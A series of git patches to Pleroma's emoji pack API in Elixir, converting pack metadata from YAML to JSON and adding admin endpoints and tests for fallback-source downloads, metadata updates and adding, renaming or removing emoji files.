- yaml_path = Path.join(pack_dir, "pack.yml")
+ pack_file_path = Path.join(pack_dir, "pack.json")
- unless File.exists?(yaml_path) do
- File.write!(yaml_path, RelaxYaml.Encoder.encode(full_pack, []))
+ unless File.exists?(pack_file_path) do
+ File.write!(pack_file_path, Jason.encode!(full_pack))
end
end
diff --git a/mix.exs b/mix.exs
index e8356d564..f2635da24 100644
--- a/mix.exs
+++ b/mix.exs
@@ -157,7 +157,6 @@ defp deps do
{:ex_rated, "~> 1.3"},
{:ex_const, "~> 0.2"},
{:plug_static_index_html, "~> 1.0.0"},
- {:relax_yaml, "~> 0.1"},
{:excoveralls, "~> 0.11.1", only: :test},
{:mox, "~> 0.5", only: :test}
] ++ oauth_deps()
diff --git a/mix.lock b/mix.lock
index 8852b5f65..d27041b96 100644
--- a/mix.lock
+++ b/mix.lock
@@ -84,7 +84,6 @@
"quantum": {:hex, :quantum, "2.3.4", "72a0e8855e2adc101459eac8454787cb74ab4169de6ca50f670e72142d4960e9", [:mix], [{:calendar, "~> 0.17", [hex: :calendar, repo: "hexpm", optional: true]}, {:crontab, "~> 1.1", [hex: :crontab, repo: "hexpm", optional: false]}, {:gen_stage, "~> 0.12", [hex: :gen_stage, repo: "hexpm", optional: false]}, {:swarm, "~> 3.3", [hex: :swarm, repo: "hexpm", optional: false]}, {:timex, "~> 3.1", [hex: :timex, repo: "hexpm", optional: true]}], "hexpm"},
"ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"},
"recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]},
- "relax_yaml": {:hex, :relax_yaml, "0.1.4", "99e55ae80b3bd1135f4288e1ba77b816ad7de05bcb4618a1a9f983ce7c89ff32", [:mix], [{:yamerl, "~> 0.4.0", [hex: :yamerl, repo: "hexpm", optional: false]}], "hexpm"},
"ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"},
"swarm": {:hex, :swarm, "3.4.0", "64f8b30055d74640d2186c66354b33b999438692a91be275bb89cdc7e401f448", [:mix], [{:gen_state_machine, "~> 2.0", [hex: :gen_state_machine, repo: "hexpm", optional: false]}, {:libring, "~> 1.0", [hex: :libring, repo: "hexpm", optional: false]}], "hexpm"},
"sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm"},
diff --git a/test/instance_static/emoji/test_pack/pack.json b/test/instance_static/emoji/test_pack/pack.json
new file mode 100644
index 000000000..1b260f0f7
--- /dev/null
+++ b/test/instance_static/emoji/test_pack/pack.json
@@ -0,0 +1,16 @@
+{
+ "pack": {
+ "license": "Test license",
+ "homepage": "https://pleroma.social",
+ "description": "Test description",
+
+ "fallblack-src": "https://example.com",
+ "fallback-src-sha256": "65CDCCBCA9388A68023519F997367783BE69ED42864398CAC568E56F65CE0E75",
+
+ "share-files": true
+ },
+
+ "files": {
+ "blank": "blank.png"
+ }
+}
diff --git a/test/instance_static/emoji/test_pack/pack.yml b/test/instance_static/emoji/test_pack/pack.yml
deleted file mode 100644
index 851b06d17..000000000
--- a/test/instance_static/emoji/test_pack/pack.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-pack:
- license: Test license
- homepage: https://pleroma.social
- description: Test description
-
- fallblack-src: https://example.com
- # SHA256 of the fallback-src
- fallback-src-sha256: 65CDCCBCA9388A68023519F997367783BE69ED42864398CAC568E56F65CE0E75
-
- share-files: true
-
-files:
- blank: blank.png
diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.json b/test/instance_static/emoji/test_pack_nonshared/pack.json
new file mode 100644
index 000000000..b49b1efe7
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_nonshared/pack.json
@@ -0,0 +1,16 @@
+{
+ "pack": {
+ "license": "Test license",
+ "homepage": "https://pleroma.social",
+ "description": "Test description",
+
+ "fallblack-src": "https://example.com",
+ "fallback-src-sha256": "65CDCCBCA9388A68023519F997367783BE69ED42864398CAC568E56F65CE0E75",
+
+ "share-files": false
+ },
+
+ "files": {
+ "blank": "blank.png"
+ }
+}
diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.yml b/test/instance_static/emoji/test_pack_nonshared/pack.yml
deleted file mode 100644
index 45c340415..000000000
--- a/test/instance_static/emoji/test_pack_nonshared/pack.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-pack:
- license: Test license
- homepage: https://pleroma.social
- description: Test description
-
- fallblack-src: https://example.com
- # SHA256 of the fallback-src
- fallback-src-sha256: 65CDCCBCA9388A68023519F997367783BE69ED42864398CAC568E56F65CE0E75
-
- share-files: false
-
-files:
- blank: blank.png
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 13a34d38d..bf56c1516 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -38,7 +38,7 @@ test "downloading a shared pack from download_shared" do
{:ok, arch} = :zip.unzip(resp, [:memory])
- assert Enum.find(arch, fn {n, _} -> n == 'pack.yml' end)
+ assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end)
assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
end
@@ -92,7 +92,7 @@ test "downloading a shared pack from another instance via download_from, deletin
)
|> text_response(200) == "ok"
- assert File.exists?("test/instance_static/emoji/test_pack2/pack.yml")
+ assert File.exists?("test/instance_static/emoji/test_pack2/pack.json")
assert File.exists?("test/instance_static/emoji/test_pack2/blank.png")
assert conn
From b78973d27f0c9225104914c79cf93bf3589fe7cc Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 15 Aug 2019 11:46:03 +0300
Subject: [PATCH 067/148] fallback can't have pack.json, reflect that in code
having pacj.json and sha256 in a fallback pack would cause a circular dependency of itself
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index aedc70372..3b9eab8b8 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -184,19 +184,19 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
pack_dir = Path.join(@emoji_dir_path, local_name)
File.mkdir_p!(pack_dir)
+ # Fallback cannot contain a pack.json file
files =
- ['pack.json'] ++
+ unless(pinfo[:fallback], do: ['pack.json'], else: []) ++
(pfiles |> Enum.map(fn {_, path} -> to_charlist(path) end))
{:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
- # Fallback URL might not contain a pack.json file. Put on we have if there's none
+ # Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256
+ # in it to depend on itself
if pinfo[:fallback] do
pack_file_path = Path.join(pack_dir, "pack.json")
- unless File.exists?(pack_file_path) do
- File.write!(pack_file_path, Jason.encode!(full_pack))
- end
+ File.write!(pack_file_path, Jason.encode!(full_pack))
end
conn |> text("ok")
From adf31d596e77ef71e2ffe80d9dc41988f6c1cfb5 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 15 Aug 2019 12:07:51 +0300
Subject: [PATCH 068/148] Add tests for downloading from fallback url
---
.../emoji/test_pack_nonshared/nonshared.zip | Bin 0 -> 256 bytes
.../emoji/test_pack_nonshared/pack.json | 4 +-
test/web/emoji_api_controller_test.exs | 40 +++++++++++++++++-
3 files changed, 41 insertions(+), 3 deletions(-)
create mode 100644 test/instance_static/emoji/test_pack_nonshared/nonshared.zip
diff --git a/test/instance_static/emoji/test_pack_nonshared/nonshared.zip b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip
new file mode 100644
index 0000000000000000000000000000000000000000..148446c642ea24b494bc3e25ccd772faaf2f2a13
GIT binary patch
literal 256
zcmWIWW@Zs#U|`^2I2p(9A0OT*8Uf_R12HFq3`0^*VqUghL0)=j2qy#cF4@r7Q$So=
z!Og(P@`9Ox0ZhE+`B41)>7++V2?-CrektH&y2Pt+hC@XnZuhYzjGD_PDeO;RYuj`(
zUAMu8(_j4f1g>LGSdR&<=@xdWn#IJs;|^bzfkATSK6P%elQ2Vo
rHzSiAGcLzT0G$W{OBz8ml2chBPDOKOfHx}}NFgH-`UC0NAPxfnZrnv?
literal 0
HcmV?d00001
diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.json b/test/instance_static/emoji/test_pack_nonshared/pack.json
index b49b1efe7..b96781f81 100644
--- a/test/instance_static/emoji/test_pack_nonshared/pack.json
+++ b/test/instance_static/emoji/test_pack_nonshared/pack.json
@@ -4,8 +4,8 @@
"homepage": "https://pleroma.social",
"description": "Test description",
- "fallblack-src": "https://example.com",
- "fallback-src-sha256": "65CDCCBCA9388A68023519F997367783BE69ED42864398CAC568E56F65CE0E75",
+ "fallback-src": "https://nonshared-pack",
+ "fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF",
"share-files": false
},
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index bf56c1516..aa30e3058 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -42,9 +42,10 @@ test "downloading a shared pack from download_shared" do
assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
end
- test "downloading a shared pack from another instance via download_from, deleting it" do
+ test "downloading shared & unshared packs from another instance via download_from, deleting them" do
on_exit(fn ->
File.rm_rf!("test/instance_static/emoji/test_pack2")
+ File.rm_rf!("test/instance_static/emoji/test_pack_nonshared2")
end)
mock(fn
@@ -69,6 +70,12 @@ test "downloading a shared pack from another instance via download_from, deletin
|> get(emoji_api_path(conn, :download_shared, "test_pack"))
|> response(200)
|> text()
+
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ text(File.read!("test/instance_static/emoji/test_pack_nonshared/nonshared.zip"))
end)
admin = insert(:user, info: %{is_admin: true})
@@ -101,5 +108,36 @@ test "downloading a shared pack from another instance via download_from, deletin
|> response(200) == "ok"
refute File.exists?("test/instance_static/emoji/test_pack2")
+
+ # non-shared, downloaded from the fallback URL
+
+ conn = build_conn()
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> assign(:user, admin)
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://example.com",
+ pack_name: "test_pack_nonshared",
+ as: "test_pack_nonshared2"
+ }
+ |> Jason.encode!()
+ )
+ |> text_response(200) == "ok"
+
+ assert File.exists?("test/instance_static/emoji/test_pack_nonshared2/pack.json")
+ assert File.exists?("test/instance_static/emoji/test_pack_nonshared2/blank.png")
+
+ assert conn
+ |> assign(:user, admin)
+ |> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
+ |> response(200) == "ok"
+
+ refute File.exists?("test/instance_static/emoji/test_pack_nonshared2")
end
end
From bcc0bfd0c54784fe6a7ccd88fc083bd09dca41af Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 15 Aug 2019 19:55:58 +0300
Subject: [PATCH 069/148] Add an endpoint for emoji pack metadata updating
---
.../web/emoji_api/emoji_api_controller.ex | 49 ++++++++++++++++++-
lib/pleroma/web/router.ex | 1 +
2 files changed, 49 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 3b9eab8b8..4096ccbed 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -196,7 +196,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
if pinfo[:fallback] do
pack_file_path = Path.join(pack_dir, "pack.json")
- File.write!(pack_file_path, Jason.encode!(full_pack))
+ File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true))
end
conn |> text("ok")
@@ -222,4 +222,51 @@ def delete(conn, %{"name" => name}) do
conn |> put_status(:internal_server_error) |> text("Couldn't delete the pack #{name}")
end
end
+
+ def update_metadata(conn, %{"name" => name, "new_data" => new_data}) do
+ pack_dir = Path.join(@emoji_dir_path, name)
+ pack_file_p = Path.join(pack_dir, "pack.json")
+
+ full_pack = Jason.decode!(File.read!(pack_file_p))
+
+ new_data =
+ if not is_nil(new_data["fallback-src"]) and is_nil(new_data["fallback-src-sha256"]) do
+ pack_arch = Tesla.get!(new_data["fallback-src"]).body
+
+ {:ok, flist} = :zip.unzip(pack_arch, [:memory])
+
+ # Check if all files from the pack.json are in the archive
+ has_all_files =
+ Enum.all?(full_pack["files"], fn {_, from_manifest} ->
+ Enum.find(flist, fn {from_archive, _} ->
+ to_string(from_archive) == from_manifest
+ end)
+ end)
+
+ unless has_all_files do
+ {:error,
+ conn
+ |> put_status(:bad_request)
+ |> text("The fallback archive does not have all files specified in pack.json")}
+ else
+ fallback_sha = :crypto.hash(:sha256, pack_arch) |> Base.encode16()
+
+ {:ok, new_data |> Map.put("fallback-src-sha256", fallback_sha)}
+ end
+ else
+ {:ok, new_data}
+ end
+
+ case new_data do
+ {:ok, new_data} ->
+ full_pack = Map.put(full_pack, "pack", new_data)
+ File.write!(pack_file_p, Jason.encode!(full_pack, pretty: true))
+
+ # Send new data back with fallback sha filled
+ conn |> json(new_data)
+
+ {:error, e} ->
+ e
+ end
+ end
end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 4df0ca3c3..471d09c43 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -218,6 +218,7 @@ defmodule Pleroma.Web.Router do
# Modifying packs
pipe_through([:admin_api, :oauth_write])
+ post("/update_metadata/:name", EmojiAPIController, :update_metadata)
delete("/delete/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
end
From 9dc9689144a54f3e5513dd26de61ec43421d6d50 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Fri, 16 Aug 2019 13:22:14 +0300
Subject: [PATCH 070/148] Add tests for pack metadata updating
---
.../instance_static/emoji/test_pack/pack.json | 3 -
test/web/emoji_api_controller_test.exs | 118 ++++++++++++++++--
2 files changed, 109 insertions(+), 12 deletions(-)
diff --git a/test/instance_static/emoji/test_pack/pack.json b/test/instance_static/emoji/test_pack/pack.json
index 1b260f0f7..5a8ee75f9 100644
--- a/test/instance_static/emoji/test_pack/pack.json
+++ b/test/instance_static/emoji/test_pack/pack.json
@@ -4,9 +4,6 @@
"homepage": "https://pleroma.social",
"description": "Test description",
- "fallblack-src": "https://example.com",
- "fallback-src-sha256": "65CDCCBCA9388A68023519F997367783BE69ED42864398CAC568E56F65CE0E75",
-
"share-files": true
},
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index aa30e3058..759a4dc04 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -5,6 +5,11 @@ defmodule Pleroma.Web.EmojiAPI.EmojiAPIControllerTest do
import Pleroma.Factory
+ @emoji_dir_path Path.join(
+ Pleroma.Config.get!([:instance, :static_dir]),
+ "emoji"
+ )
+
test "shared & non-shared pack information in list_packs is ok" do
conn = build_conn()
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
@@ -44,8 +49,8 @@ test "downloading a shared pack from download_shared" do
test "downloading shared & unshared packs from another instance via download_from, deleting them" do
on_exit(fn ->
- File.rm_rf!("test/instance_static/emoji/test_pack2")
- File.rm_rf!("test/instance_static/emoji/test_pack_nonshared2")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack2")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack_nonshared2")
end)
mock(fn
@@ -75,7 +80,7 @@ test "downloading shared & unshared packs from another instance via download_fro
method: :get,
url: "https://nonshared-pack"
} ->
- text(File.read!("test/instance_static/emoji/test_pack_nonshared/nonshared.zip"))
+ text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
end)
admin = insert(:user, info: %{is_admin: true})
@@ -99,15 +104,15 @@ test "downloading shared & unshared packs from another instance via download_fro
)
|> text_response(200) == "ok"
- assert File.exists?("test/instance_static/emoji/test_pack2/pack.json")
- assert File.exists?("test/instance_static/emoji/test_pack2/blank.png")
+ assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json")
+ assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png")
assert conn
|> assign(:user, admin)
|> delete(emoji_api_path(conn, :delete, "test_pack2"))
|> response(200) == "ok"
- refute File.exists?("test/instance_static/emoji/test_pack2")
+ refute File.exists?("#{@emoji_dir_path}/test_pack2")
# non-shared, downloaded from the fallback URL
@@ -130,14 +135,109 @@ test "downloading shared & unshared packs from another instance via download_fro
)
|> text_response(200) == "ok"
- assert File.exists?("test/instance_static/emoji/test_pack_nonshared2/pack.json")
- assert File.exists?("test/instance_static/emoji/test_pack_nonshared2/blank.png")
+ assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json")
+ assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png")
assert conn
|> assign(:user, admin)
|> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
|> response(200) == "ok"
- refute File.exists?("test/instance_static/emoji/test_pack_nonshared2")
+ refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2")
+ end
+
+ describe "updating pack metadata" do
+ setup do
+ pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
+ original_content = File.read!(pack_file)
+
+ on_exit(fn ->
+ File.write!(pack_file, original_content)
+ end)
+
+ {:ok,
+ admin: insert(:user, info: %{is_admin: true}),
+ pack_file: pack_file,
+ new_data: %{
+ "license" => "Test license changed",
+ "homepage" => "https://pleroma.social",
+ "description" => "Test description",
+ "share-files" => false
+ }}
+ end
+
+ test "for a pack without a fallback source", ctx do
+ conn = build_conn()
+
+ assert conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => ctx[:new_data]
+ }
+ )
+ |> json_response(200) == ctx[:new_data]
+
+ assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data]
+ end
+
+ test "for a pack with a fallback source", ctx do
+ mock(fn
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
+ end)
+
+ new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
+
+ new_data_with_sha =
+ Map.put(
+ new_data,
+ "fallback-src-sha256",
+ "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF"
+ )
+
+ conn = build_conn()
+
+ assert conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> json_response(200) == new_data_with_sha
+
+ assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha
+ end
+
+ test "when the fallback source doesn't have all the files", ctx do
+ mock(fn
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory])
+ text(empty_arch)
+ end)
+
+ new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
+
+ conn = build_conn()
+
+ assert conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> text_response(:bad_request) =~ "does not have all"
+ end
end
end
From 261d92f9c2605c720e7fce8b05025e5ac452e5c9 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Fri, 16 Aug 2019 13:30:14 +0300
Subject: [PATCH 071/148] Update the pack fallback-src sha generation condition
The old one would not regenerate sha when fallback src changed
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 4096ccbed..4873129c4 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -229,8 +229,13 @@ def update_metadata(conn, %{"name" => name, "new_data" => new_data}) do
full_pack = Jason.decode!(File.read!(pack_file_p))
+ # The new fallback-src is in the new data and it's not the same as it was in the old data
+ should_update_fb_sha =
+ not is_nil(new_data["fallback-src"]) and
+ new_data["fallback-src"] != full_pack["pack"]["fallback-src"]
+
new_data =
- if not is_nil(new_data["fallback-src"]) and is_nil(new_data["fallback-src-sha256"]) do
+ if should_update_fb_sha do
pack_arch = Tesla.get!(new_data["fallback-src"]).body
{:ok, flist} = :zip.unzip(pack_arch, [:memory])
From 9afe7258dd5ca1e5a6333a5a9f93d9ab43d4aaf4 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Sun, 18 Aug 2019 22:05:38 +0300
Subject: [PATCH 072/148] Implememt emoji pack file updating + write tests
---
.../web/emoji_api/emoji_api_controller.ex | 132 +++++++++++++++++-
lib/pleroma/web/router.ex | 3 +-
test/web/emoji_api_controller_test.exs | 69 ++++++++-
3 files changed, 196 insertions(+), 8 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 4873129c4..dc3dcf1ea 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -223,7 +223,7 @@ def delete(conn, %{"name" => name}) do
end
end
- def update_metadata(conn, %{"name" => name, "new_data" => new_data}) do
+ def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_file_p = Path.join(pack_dir, "pack.json")
@@ -274,4 +274,134 @@ def update_metadata(conn, %{"name" => name, "new_data" => new_data}) do
e
end
end
+
+ def update_file(
+ conn,
+ %{"pack_name" => pack_name, "action" => action, "shortcode" => shortcode} = params
+ ) do
+ pack_dir = Path.join(@emoji_dir_path, pack_name)
+ pack_file_p = Path.join(pack_dir, "pack.json")
+
+ full_pack = Jason.decode!(File.read!(pack_file_p))
+
+ res =
+ case action do
+ "add" ->
+ unless Map.has_key?(full_pack["files"], shortcode) do
+ with %{"file" => %Plug.Upload{filename: filename, path: upload_path}} <- params do
+ # If there was a file name provided with the request, use it, otherwise just use the
+ # uploaded file name
+ filename =
+ if Map.has_key?(params, "filename") do
+ params["filename"]
+ else
+ filename
+ end
+
+ file_path = Path.join(pack_dir, filename)
+
+ # If the name contains directories, create them
+ if String.contains?(file_path, "/") do
+ File.mkdir_p!(Path.dirname(file_path))
+ end
+
+ # Copy the uploaded file from the temporary directory
+ File.copy!(upload_path, file_path)
+
+ updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
+
+ {:ok, updated_full_pack}
+ else
+ _ -> {:error, conn |> put_status(:bad_request) |> text("\"file\" not provided")}
+ end
+ else
+ {:error,
+ conn
+ |> put_status(:conflict)
+ |> text("An emoji with the \"#{shortcode}\" shortcode already exists")}
+ end
+
+ "remove" ->
+ if Map.has_key?(full_pack["files"], shortcode) do
+ {emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
+
+ emoji_file_path = Path.join(pack_dir, emoji_file_path)
+
+ # Delete the emoji file
+ File.rm!(emoji_file_path)
+
+ # If the old directory has no more files, remove it
+ if String.contains?(emoji_file_path, "/") do
+ dir = Path.dirname(emoji_file_path)
+
+ if Enum.empty?(File.ls!(dir)) do
+ File.rmdir!(dir)
+ end
+ end
+
+ {:ok, updated_full_pack}
+ else
+ {:error,
+ conn |> put_status(:bad_request) |> text("Emoji \"#{shortcode}\" does not exist")}
+ end
+
+ "update" ->
+ if Map.has_key?(full_pack["files"], shortcode) do
+ with %{"new_shortcode" => new_shortcode, "new_filename" => new_filename} <- params do
+ # First, remove the old shortcode, saving the old path
+ {old_emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
+ old_emoji_file_path = Path.join(pack_dir, old_emoji_file_path)
+ new_emoji_file_path = Path.join(pack_dir, new_filename)
+
+ # If the name contains directories, create them
+ if String.contains?(new_emoji_file_path, "/") do
+ File.mkdir_p!(Path.dirname(new_emoji_file_path))
+ end
+
+ # Move/Rename the old filename to a new filename
+ # These are probably on the same filesystem, so just rename should work
+ :ok = File.rename(old_emoji_file_path, new_emoji_file_path)
+
+ # If the old directory has no more files, remove it
+ if String.contains?(old_emoji_file_path, "/") do
+ dir = Path.dirname(old_emoji_file_path)
+
+ if Enum.empty?(File.ls!(dir)) do
+ File.rmdir!(dir)
+ end
+ end
+
+ # Then, put in the new shortcode with the new path
+ updated_full_pack =
+ put_in(updated_full_pack, ["files", new_shortcode], new_filename)
+
+ {:ok, updated_full_pack}
+ else
+ _ ->
+ {:error,
+ conn
+ |> put_status(:bad_request)
+ |> text("new_shortcode or new_file were not specified")}
+ end
+ else
+ {:error,
+ conn |> put_status(:bad_request) |> text("Emoji \"#{shortcode}\" does not exist")}
+ end
+
+ _ ->
+ {:error, conn |> put_status(:bad_request) |> text("Unknown action: #{action}")}
+ end
+
+ case res do
+ {:ok, updated_full_pack} ->
+ # Write the emoji pack file
+ File.write!(pack_file_p, Jason.encode!(updated_full_pack, pretty: true))
+
+ # Return the modified file list
+ conn |> json(updated_full_pack["files"])
+
+ {:error, e} ->
+ e
+ end
+ end
end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 471d09c43..acd6f740b 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -218,7 +218,8 @@ defmodule Pleroma.Web.Router do
# Modifying packs
pipe_through([:admin_api, :oauth_write])
- post("/update_metadata/:name", EmojiAPIController, :update_metadata)
+ post("/update_file/:pack_name", EmojiAPIController, :update_file)
+ post("/update_metadata/:pack_name", EmojiAPIController, :update_metadata)
delete("/delete/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
end
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 759a4dc04..6d3603da5 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -85,11 +85,10 @@ test "downloading shared & unshared packs from another instance via download_fro
admin = insert(:user, info: %{is_admin: true})
- conn = build_conn()
+ conn = build_conn() |> assign(:user, admin)
assert conn
|> put_req_header("content-type", "application/json")
- |> assign(:user, admin)
|> post(
emoji_api_path(
conn,
@@ -108,7 +107,6 @@ test "downloading shared & unshared packs from another instance via download_fro
assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png")
assert conn
- |> assign(:user, admin)
|> delete(emoji_api_path(conn, :delete, "test_pack2"))
|> response(200) == "ok"
@@ -116,11 +114,10 @@ test "downloading shared & unshared packs from another instance via download_fro
# non-shared, downloaded from the fallback URL
- conn = build_conn()
+ conn = build_conn() |> assign(:user, admin)
assert conn
|> put_req_header("content-type", "application/json")
- |> assign(:user, admin)
|> post(
emoji_api_path(
conn,
@@ -139,7 +136,6 @@ test "downloading shared & unshared packs from another instance via download_fro
assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png")
assert conn
- |> assign(:user, admin)
|> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
|> response(200) == "ok"
@@ -240,4 +236,65 @@ test "when the fallback source doesn't have all the files", ctx do
|> text_response(:bad_request) =~ "does not have all"
end
end
+
+ test "updating pack files" do
+ pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
+ original_content = File.read!(pack_file)
+
+ on_exit(fn ->
+ File.write!(pack_file, original_content)
+
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/dir")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2")
+ end)
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ conn = build_conn()
+
+ same_name = %{
+ "action" => "add",
+ "shortcode" => "blank",
+ "filename" => "dir/blank.png",
+ "file" => %Plug.Upload{
+ filename: "blank.png",
+ path: "#{@emoji_dir_path}/test_pack/blank.png"
+ }
+ }
+
+ different_name = %{same_name | "shortcode" => "blank_2"}
+
+ conn = conn |> assign(:user, admin)
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name)
+ |> text_response(:conflict) =~ "already exists"
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), different_name)
+ |> json_response(200) == %{"blank" => "blank.png", "blank_2" => "dir/blank.png"}
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack/dir/blank.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "update",
+ "shortcode" => "blank_2",
+ "new_shortcode" => "blank_3",
+ "new_filename" => "dir_2/blank_3.png"
+ })
+ |> json_response(200) == %{"blank" => "blank.png", "blank_3" => "dir_2/blank_3.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/dir/")
+ assert File.exists?("#{@emoji_dir_path}/test_pack/dir_2/blank_3.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "remove",
+ "shortcode" => "blank_3"
+ })
